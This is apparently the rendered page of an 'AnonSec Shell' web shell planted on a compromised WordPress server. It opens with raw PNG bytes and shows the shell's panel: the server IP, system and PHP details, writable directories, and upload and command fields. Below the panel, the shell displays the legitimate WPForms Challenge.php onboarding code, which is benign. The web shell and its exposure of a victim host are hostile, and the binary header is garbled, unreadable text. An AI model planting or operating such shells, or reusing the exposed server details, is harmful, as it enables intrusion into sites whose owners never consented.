‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/wpforms/src/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/wpforms/src/Admin/Challenge.php
<?php

namespace WPForms\Admin;

/**
 * Challenges and guides a user to set up a first form once WPForms is installed.
 *
 * @package    WPForms\Admin
 * @author     WPForms
 * @since      1.5.0
 * @license    GPL-2.0+
 * @copyright  Copyright (c) 2018, WPForms LLC
 */
class Challenge {

	/**
	 * Number of minutes to complete the Challenge.
	 *
	 * @since 1.5.0
	 *
	 * @var int
	 */
	protected $minutes = 5;

	/**
	 * Constructor.
	 *
	 * @since 1.5.0
	 */
	public function __construct() {

		if ( \current_user_can( \wpforms_get_capability_manage_options() ) ) {
			$this->hooks();
		}
	}

	/**
	 * Hooks.
	 *
	 * @since 1.5.0
	 */
	public function hooks() {

		\add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		\add_action( 'wpforms_builder_init', array( $this, 'start_challenge' ) );
		\add_action( 'admin_footer', array( $this, 'challenge_html' ) );

		\add_action( 'wp_ajax_wpforms_challenge_embed_page_url', array( $this, 'get_embed_page_url_ajax' ) );
		\add_action( 'wp_ajax_wpforms_challenge_save_option', array( $this, 'save_challenge_option_ajax' ) );
		\add_action( 'wp_ajax_wpforms_challenge_send_contact_form', array( $this, 'send_contact_form_ajax' ) );
	}

	/**
	 * Check if the current page is related to Challenge.
	 *
	 * @since 1.5.0
	 */
	public function is_challenge_page() {

		return \wpforms_is_admin_page()
			|| $this->is_builder_page()
			|| $this->is_form_embed_page();
	}

	/**
	 * Check if the current page is a forms builder page related to Challenge.
	 *
	 * @since 1.5.0
	 */
	public function is_builder_page() {

		if ( ! \wpforms_is_admin_page( 'builder' ) ) {
			return false;
		}

		if ( ! $this->challenge_active() ) {
			return false;
		}

		$step    = \absint( $this->get_challenge_option( 'step' ) );
		$form_id = \absint( $this->get_challenge_option( 'form_id' ) );

		if ( $form_id && $step < 2 ) {
			return false;
		}

		$current_form_id = isset( $_GET['form_id'] ) ? \absint( $_GET['form_id'] ) : 0;
		$is_new_form     = isset( $_GET['newform'] ) ? \absint( $_GET['newform'] ) : 0;

		if ( $is_new_form && 2 !== $step ) {
			return false;
		}

		if ( ! $is_new_form && $form_id !== $current_form_id && $step >= 2 ) {
			return false;
		}

		return true;
	}

	/**
	 * Check if the current page is a form embed page edit related to Challenge.
	 *
	 * @since 1.5.0
	 */
	public function is_form_embed_page() {

		if ( ! \is_admin() || ! \is_user_logged_in() ) {
			return false;
		}

		$screen = \get_current_screen();

		if ( ! isset( $screen->id ) || 'page' !== $screen->id ) {
			return false;
		}

		if ( ! $this->challenge_active() ) {
			return false;
		}

		$step = $this->get_challenge_option( 'step' );

		if ( ! \in_array( $step, array( 4, 5 ), true ) ) {
			return false;
		}

		$embed_page = $this->get_challenge_option( 'embed_page' );

		if ( isset( $screen->action ) && 'add' === $screen->action && 0 === $embed_page ) {
			return true;
		}

		if ( isset( $_GET['post'] ) && $embed_page === \absint( $_GET['post'] ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Load scripts and styles.
	 *
	 * @since 1.5.0
	 */
	public function enqueue_scripts() {

		if ( $this->challenge_finished() ) {
			return;
		}

		$min = \wpforms_get_min_suffix();

		if ( $this->is_challenge_page() ) {

			\wp_enqueue_style(
				'wpforms-challenge',
				\WPFORMS_PLUGIN_URL . "assets/css/challenge{$min}.css",
				array(),
				\WPFORMS_VERSION
			);

			\wp_enqueue_script(
				'wpforms-challenge-admin',
				\WPFORMS_PLUGIN_URL . "assets/js/components/admin/challenge/challenge-admin{$min}.js",
				array( 'jquery' ),
				\WPFORMS_VERSION,
				true
			);

			\wp_localize_script(
				'wpforms-challenge-admin',
				'wpforms_challenge_admin',
				array(
					'nonce'        => \wp_create_nonce( 'wpforms_challenge_ajax_nonce' ),
					'minutes_left' => \absint( $this->minutes ),
				)
			);
		}

		if ( $this->is_builder_page() || $this->is_form_embed_page() ) {

			\wp_enqueue_style(
				'tooltipster',
				\WPFORMS_PLUGIN_URL . 'assets/css/tooltipster.css',
				null,
				'4.2.6'
			);

			\wp_enqueue_script(
				'tooltipster',
				\WPFORMS_PLUGIN_URL . 'assets/js/jquery.tooltipster.min.js',
				array( 'jquery' ),
				'4.2.6',
				true
			);

			\wp_enqueue_script(
				'wpforms-challenge-core',
				\WPFORMS_PLUGIN_URL . "assets/js/components/admin/challenge/challenge-core{$min}.js",
				array( 'jquery', 'tooltipster', 'wpforms-challenge-admin' ),
				\WPFORMS_VERSION,
				true
			);
		}

		if ( $this->is_builder_page() ) {

			\wp_enqueue_script(
				'wpforms-challenge-builder',
				\WPFORMS_PLUGIN_URL . "assets/js/components/admin/challenge/challenge-builder{$min}.js",
				array( 'jquery', 'tooltipster', 'wpforms-challenge-core' ),
				\WPFORMS_VERSION,
				true
			);
		}

		if ( $this->is_form_embed_page() ) {

			\wp_enqueue_style(
				'wpforms-font-awesome',
				\WPFORMS_PLUGIN_URL . 'assets/css/font-awesome.min.css',
				null,
				'4.7.0'
			);

			\wp_enqueue_script(
				'wpforms-challenge-embed',
				\WPFORMS_PLUGIN_URL . "assets/js/components/admin/challenge/challenge-embed{$min}.js",
				array( 'jquery', 'tooltipster', 'wpforms-challenge-core' ),
				\WPFORMS_VERSION,
				true
			);
		}
	}

	/**
	 * Get 'wpforms_challenge' option schema.
	 *
	 * @since 1.5.0
	 */
	public function get_challenge_option_schema() {

		return array(
			'status'              => '',
			'step'                => 0,
			'user_id'             => \get_current_user_id(),
			'form_id'             => 0,
			'embed_page'          => 0,
			'started_date_gmt'    => '',
			'finished_date_gmt'   => '',
			'seconds_spent'       => 0,
			'seconds_left'        => 0,
			'feedback_sent'       => false,
			'feedback_contact_me' => false,
		);
	}

	/**
	 * Get Challenge parameter(s) from Challenge option.
	 *
	 * @since 1.5.0
	 *
	 * @param array|string|null $query Query using 'wpforms_challenge' schema keys.
	 *
	 * @return array|mixed
	 */
	public function get_challenge_option( $query = null ) {

		if ( ! $query ) {
			return \get_option( 'wpforms_challenge' );
		}

		if ( ! \is_array( $query ) ) {
			$return_single = true;
			$query         = array( $query );
		}

		$query = \array_flip( $query );

		$option = \get_option( 'wpforms_challenge' );

		if ( ! $option || ! \is_array( $option ) ) {
			return \array_intersect_key( $this->get_challenge_option_schema(), $query );
		}

		$result = \array_intersect_key( $option, $query );

		if ( $return_single ) {
			$result = \reset( $result );
		}

		return $result;
	}

	/**
	 * Set Challenge parameter(s) to Challenge option.
	 *
	 * @since 1.5.0
	 *
	 * @param array $query Query using 'wpforms_challenge' schema keys.
	 */
	public function set_challenge_option( $query ) {

		if ( empty( $query ) || ! \is_array( $query ) ) {
			return;
		}

		$schema  = $this->get_challenge_option_schema();
		$replace = \array_intersect_key( $query, $schema );

		if ( ! $replace ) {
			return;
		}

		// Validate and sanitize the data.
		foreach ( $replace as $key => $value ) {
			if ( \in_array( $key, array( 'step', 'user_id', 'form_id', 'embed_page', 'seconds_spent', 'seconds_left' ), true ) ) {
				$replace[ $key ] = \absint( $value );
				continue;
			}
			if ( \in_array( $key, array( 'feedback_sent', 'feedback_contact_me' ), true ) ) {
				$replace[ $key ] = \wp_validate_boolean( $value );
				continue;
			}
			$replace[ $key ] = \sanitize_text_field( $value );
		}

		$option = \get_option( 'wpforms_challenge' );

		if ( ! $option || ! \is_array( $option ) ) {
			\update_option( 'wpforms_challenge', \array_merge( $schema, $replace ) );

			return;
		}

		\update_option( 'wpforms_challenge', \array_merge( $option, $replace ) );
	}

	/**
	 * Check if any forms are present on a site.
	 *
	 * @since 1.5.0
	 */
	public function website_has_forms() {

		return (bool) \wpforms()->form->get( '', array( 'numberposts' => 1 ) );
	}

	/**
	 * Check if Challenge was started.
	 *
	 * @since 1.5.0
	 */
	public function challenge_started() {

		return 'started' === $this->get_challenge_option( 'status' );
	}

	/**
	 * Check if Challenge was finished.
	 *
	 * @since 1.5.0
	 */
	public function challenge_finished() {

		$status = $this->get_challenge_option( 'status' );

		return \in_array( $status, array( 'completed', 'canceled', 'skipped' ), true );
	}

	/**
	 * Check if Challenge is in progress.
	 *
	 * @since 1.5.0
	 */
	public function challenge_active() {

		return $this->challenge_started() && ! $this->challenge_finished();
	}

	/**
	 * Check if Challenge can be started.
	 *
	 * @since 1.5.0
	 */
	public function challenge_can_start() {

		if ( $this->website_has_forms() ) {
			return false;
		}

		if ( $this->challenge_started() || $this->challenge_finished() ) {
			return false;
		}

		return true;
	}

	/**
	 * Start the Challenge in Form Builder.
	 *
	 * @since 1.5.0
	 */
	public function start_challenge() {

		if ( ! isset( $_GET['challenge'] ) || 'start' !== $_GET['challenge'] ) {
			return;
		}

		if ( ! $this->challenge_can_start() ) {
			return;
		}

		$this->set_challenge_option(
			array(
				'status'           => 'started',
				'started_date_gmt' => \current_time( 'mysql', true ),
			)
		);

		\wp_safe_redirect( \remove_query_arg( 'challenge' ) );
	}

	/**
	 * Include Challenge HTML.
	 *
	 * @since 1.5.0
	 */
	public function challenge_html() {

		if ( $this->challenge_finished() ) {
			return;
		}

		if ( \wpforms_is_admin_page() && ! \wpforms_is_admin_page( 'getting-started' ) && $this->challenge_can_start() ) {
			$this->challenge_modal_html( 'start' );
		}

		if ( $this->is_builder_page() ) {
			$this->challenge_modal_html( 'progress' );
			$this->challenge_builder_templates_html();
		}

		if ( $this->is_form_embed_page() ) {
			$this->challenge_modal_html( 'progress' );
			$this->challenge_embed_templates_html();
		}

	}

	/**
	 * Include Challenge main modal window HTML.
	 *
	 * @since 1.5.0
	 *
	 * @param string $state State of Challenge ('start' or 'progress').
	 */
	public function challenge_modal_html( $state ) {

		?>
		<div class="wpforms-challenge <?php echo 'start' === $state ? \esc_attr( 'wpforms-challenge-start' ) : ''; ?>"
			data-wpforms-challenge-saved-step="<?php echo \absint( $this->get_challenge_option( 'step' ) ); ?>">

			<div class="wpforms-challenge-list-block">
				<p>
					<?php
					echo \wp_kses(
						\sprintf(
						/* translators: %1$d - Number of minutes; %2$s - Single or plural word 'minute'. */
							\__( 'Complete the <b>WPForms Challenge</b> and get up and running within %1$d&nbsp;%2$s.', 'wpforms' ),
							\absint( $this->minutes ),
							\_n( 'minute', 'minutes', \absint( $this->minutes ), 'wpforms' )
						),
						array( 'b' => array() )
					);
					?>
				</p>

				<div class="wpforms-challenge-bar">
					<div></div>
				</div>

				<ul class="wpforms-challenge-list">
					<li class="wpforms-challenge-step1-item"><?php \esc_html_e( 'Name Your Form', 'wpforms' ); ?></li>
					<li class="wpforms-challenge-step2-item"><?php \esc_html_e( 'Select a Template', 'wpforms' ); ?></li>
					<li class="wpforms-challenge-step3-item"><?php \esc_html_e( 'Add Fields to Your Form', 'wpforms' ); ?></li>
					<li class="wpforms-challenge-step4-item"><?php \esc_html_e( 'Check Notification Settings', 'wpforms' ); ?></li>
					<li class="wpforms-challenge-step5-item"><?php \esc_html_e( 'Embed in a Page', 'wpforms' ); ?></li>
				</ul>

				<?php if ( 'start' === $state ) : ?>
					<a href="<?php echo \esc_url( \admin_url( 'admin.php?page=wpforms-builder&challenge=start' ) ); ?>" class="wpforms-btn wpforms-btn-md wpforms-btn-orange wpforms-challenge-start">
						<?php \esc_html_e( 'Start Challenge', 'wpforms' ); ?>
					</a>
					<a href="javascript:void(0);" class="wpforms-challenge-skip"><?php \esc_html_e( 'Skip Challenge', 'wpforms' ); ?></a>
				<?php endif; ?>

				<?php if ( 'progress' === $state ) : ?>
					<a href="javascript:void(0);" class="wpforms-challenge-cancel"><?php \esc_html_e( 'Cancel Challenge', 'wpforms' ); ?></a>
				<?php endif; ?>
			</div>

			<div class="block-timer">
				<img src="<?php echo \esc_url( \WPFORMS_PLUGIN_URL . 'assets/images/challenge/sullie-circle.png' ); ?>" alt="<?php \esc_html_e( 'Sullie the WPForms mascot', 'wpforms' ); ?>">
				<div>
					<h3><?php \esc_html_e( 'WPForms Challenge', 'wpforms' ); ?></h3>
					<p><span id="wpforms-challenge-timer"><?php echo \absint( $this->minutes ); ?>:00</span> <?php \esc_html_e( 'remaining', 'wpforms' ); ?></p>
				</div>
				<div class="caret-icon">
					<i class="fa fa-caret-down"></i>
				</div>
			</div>
		</div>
		<?php
	}

	/**
	 * Include Challenge HTML templates specific to Form Builder.
	 *
	 * @since 1.5.0
	 */
	public function challenge_builder_templates_html() {

		?>
		<div class="wpforms-challenge-tooltips">

			<div id="tooltip-content1">
				<h3><?php \esc_html_e( 'Name Your Form', 'wpforms' ); ?></h3>
				<p><?php \esc_html_e( 'Give your form a name so you can easily identify it.', 'wpforms' ); ?></p>
				<button type="button" class="wpforms-challenge-step1-done wpforms-challenge-done-btn"><?php \esc_html_e( 'Done', 'wpforms' ); ?></button>
			</div>

			<div id="tooltip-content2">
				<h3><?php \esc_html_e( 'Select a Template', 'wpforms' ); ?></h3>
				<p><?php \esc_html_e( 'Build your form from scratch or use one of our pre-made templates.', 'wpforms' ); ?></p>
			</div>

			<div id="tooltip-content3">
				<h3><?php \esc_html_e( 'Add Fields to Your Form', 'wpforms' ); ?></h3>
				<p><?php \esc_html_e( 'You can add additional fields to your form, if you need them. This step is optional.', 'wpforms' ); ?></p>
				<button type="button" class="wpforms-challenge-step3-done wpforms-challenge-done-btn"><?php \esc_html_e( 'Done', 'wpforms' ); ?></button>
			</div>

			<div id="tooltip-content4">
				<h3><?php \esc_html_e( 'Check Notification Settings', 'wpforms' ); ?></h3>
				<p><?php \esc_html_e( 'The default notification settings might be sufficient, but double&#8209;check to be sure.', 'wpforms' ); ?></p>
				<button type="button" class="wpforms-challenge-step4-done wpforms-challenge-done-btn"><?php \esc_html_e( 'Done', 'wpforms' ); ?></button>
			</div>

		</div>
		<?php
	}

	/**
	 * Include Challenge HTML templates specific to form embed page.
	 *
	 * @since 1.5.0
	 */
	public function challenge_embed_templates_html() {

		?>
		<div class="wpforms-challenge-tooltips">

			<div id="tooltip-content5">
				<?php if ( \function_exists( 'register_block_type' ) ) : // Gutenberg content. ?>
					<h3><?php \esc_html_e( 'Add a Block', 'wpforms' ); ?></h3>
					<p><?php \esc_html_e( 'Click the “Add Block” button, search WPForms, select block to embed.', 'wpforms' ); ?></p>
				<?php else : ?>
					<h3><?php \esc_html_e( 'Embed in a Page', 'wpforms' ); ?></h3>
					<p><?php \esc_html_e( 'Click the “Add Form” button, select your form, then add the embed code.', 'wpforms' ); ?></p>
				<?php endif; ?>
				<button type="button" class="wpforms-challenge-step5-done wpforms-challenge-done-btn"><?php \esc_html_e( 'Done', 'wpforms' ); ?></button>
			</div>
		</div>

		<div class="wpforms-challenge-popup-container">
			<div id="wpforms-challenge-congrats-popup" class="wpforms-challenge-popup">
				<div class="wpforms-challenge-popup-header wpforms-challenge-popup-header-congrats">
					<i class="wpforms-challenge-popup-close fa fa-times-circle fa-lg"></i>
				</div>
				<div class="wpforms-challenge-popup-content">
					<h3><?php \esc_html_e( 'Congrats, you did it!', 'wpforms' ); ?></h3>
					<p>
						<?php
						echo \wp_kses(
							\sprintf(
								/* translators: %1$s - Number of minutes in HTML container; %2$s - Single or plural word 'minute'; %3$s - Number of seconds in HTML container; %4$s - Single or plural word 'second'; %5$s - 5 rating star symbols HTML. */
								\__( 'You completed the WPForms Challenge in <b>%1$s %2$s %3$s %4$s</b>. Share your success story with other WPForms users and help us spread the word <b>by giving WPForms a 5-star rating (%5$s) on WordPress.org</b>. Thanks for your support and we look forward to bringing more awesome features.', 'wpforms' ),
								'<span id="wpforms-challenge-congrats-minutes"></span>',
								\_n( 'minute', 'minutes', \absint( $this->minutes ), 'wpforms' ),
								'<span id="wpforms-challenge-congrats-seconds"></span>',
								\_n( 'second', 'seconds', \absint( $this->minutes ), 'wpforms' ),
								'<span class="rating-stars"><i class="fa fa-star"></i><i class="fa fa-star"></i><i class="fa fa-star"></i><i class="fa fa-star"></i><i class="fa fa-star"></i></span>'
							),
							array(
								'span' => array(
									'id'    => array(),
									'class' => array(),
								),
								'b'    => array(),
								'i'    => array(
									'class' => array(),
								),
							)
						);
						?>
					</p>
					<a href="https://wordpress.org/support/plugin/wpforms-lite/reviews/?filter=5#new-post" class="wpforms-challenge-popup-btn wpforms-challenge-popup-rate-btn" target="_blank" rel="noopener"><?php \esc_html_e( 'Rate WPForms on WordPress.org', 'wpforms' ); ?>
						<span class="dashicons dashicons-external"></span></a>
				</div>
			</div>

			<div id="wpforms-challenge-contact-popup" class="wpforms-challenge-popup">
				<div class="wpforms-challenge-popup-header wpforms-challenge-popup-header-contact">
					<i class="wpforms-challenge-popup-close fa fa-times-circle fa-lg"></i>
				</div>
				<div class="wpforms-challenge-popup-content">
					<form id="wpforms-challenge-contact-form">
						<h3><?php \esc_html_e( 'Help us improve WPForms', 'wpforms' ); ?></h3>
						<p>
							<?php
							echo \esc_html(
								\sprintf(
									/* translators: %1$d - Number of minutes; %2$s - Single or plural word 'minute'. */
									\__( 'We`re sorry that it took longer than %1$d %2$s to create a form. Our goal is to create the most beginner friendly WordPress form plugin. Please take a moment to let us know how we can improve WPForms.', 'wpforms' ),
									\absint( $this->minutes ),
									\_n( 'minute', 'minutes', \absint( $this->minutes ), 'wpforms' )
								)
							);
							?>
						</p>
						<textarea class="wpforms-challenge-contact-message"></textarea>
						<label>
							<input type="checkbox" class="wpforms-challenge-contact-permission"><?php \esc_html_e( 'Yes, I give WPForms permission to contact me for any follow up questions.', 'wpforms' ); ?>
						</label>
						<button type="submit" class="wpforms-challenge-popup-btn wpforms-challenge-popup-contact-btn"><?php \esc_html_e( 'Submit Feedback', 'wpforms' ); ?></button>
					</form>
				</div>
			</div>
		</div>

		<?php
	}

	/**
	 * Get embed page URL via AJAX.
	 *
	 * @since 1.5.0
	 */
	public function get_embed_page_url_ajax() {

		\check_admin_referer( 'wpforms_challenge_ajax_nonce' );

		global $wpdb;

		$page_id = \absint(
			$wpdb->get_var(
				"SELECT ID 
					FROM $wpdb->posts
					WHERE post_type = 'page'
					AND post_name LIKE '%contact%';"
			)
		);

		if ( $page_id ) {
			$url = \get_edit_post_link( $page_id, '' );
			$this->set_challenge_option( array( 'embed_page' => $page_id ) );
		} else {
			$url = \add_query_arg( 'post_type', 'page', \admin_url( 'post-new.php' ) );
			$this->set_challenge_option( array( 'embed_page' => 0 ) );
		}

		\wp_send_json_success( $url );
	}

	/**
	 * Save Challenge data via AJAX.
	 *
	 * @since 1.5.0
	 */
	public function save_challenge_option_ajax() {

		\check_admin_referer( 'wpforms_challenge_ajax_nonce' );

		if ( empty( $_POST['option_data'] ) ) {
			\wp_send_json_error();
		}

		$schema = $this->get_challenge_option_schema();

		foreach ( $schema as $key => $value ) {
			if ( ! empty( $_POST['option_data'][ $key ] ) ) {
				$query[ $key ] = \sanitize_text_field( \wp_unslash( $_POST['option_data'][ $key ] ) );
			}
		}

		if ( empty( $query ) ) {
			\wp_send_json_error();
		}

		if ( ! empty( $query['status'] ) && \in_array( $query['status'], array( 'completed', 'canceled', 'skipped' ), true ) ) {
			$query['finished_date_gmt'] = \current_time( 'mysql', true );
		}

		if ( ! empty( $query['status'] ) && 'skipped' === $query['status'] ) {
			$query['started_date_gmt']  = \current_time( 'mysql', true );
			$query['finished_date_gmt'] = $query['started_date_gmt'];
		}

		$this->set_challenge_option( $query );

		\wp_send_json_success();
	}

	/**
	 * Send contact form to wpforms.com via AJAX.
	 *
	 * @since 1.5.0
	 */
	public function send_contact_form_ajax() {

		\check_admin_referer( 'wpforms_challenge_ajax_nonce' );

		$url     = 'https://wpforms.com/wpforms-challenge-feedback/';
		$message = ! empty( $_POST['contact_data']['message'] ) ? \sanitize_textarea_field( \wp_unslash( $_POST['contact_data']['message'] ) ) : '';
		$email   = '';

		if ( ! empty( $_POST['contact_data']['contact_me'] ) && 'true' === $_POST['contact_data']['contact_me'] ) {
			$current_user = \wp_get_current_user();
			$email        = $current_user->user_email;
			$this->set_challenge_option( array( 'feedback_contact_me' => true ) );
		}

		if ( empty( $message ) && empty( $email ) ) {
			\wp_send_json_error();
		}

		$data = array(
			'body' => array(
				'wpforms' => array(
					'id'     => 296355,
					'submit' => 'wpforms-submit',
					'fields' => array(
						2 => $message,
						3 => $email,
					),
				),
			),
		);

		$response = \wp_remote_post( $url, $data );

		if ( \is_wp_error( $response ) ) {
			\wp_send_json_error();
		}

		$this->set_challenge_option( array( 'feedback_sent' => true ) );
		\wp_send_json_success();
	}
}

Anon7 - 2022
AnonSec Team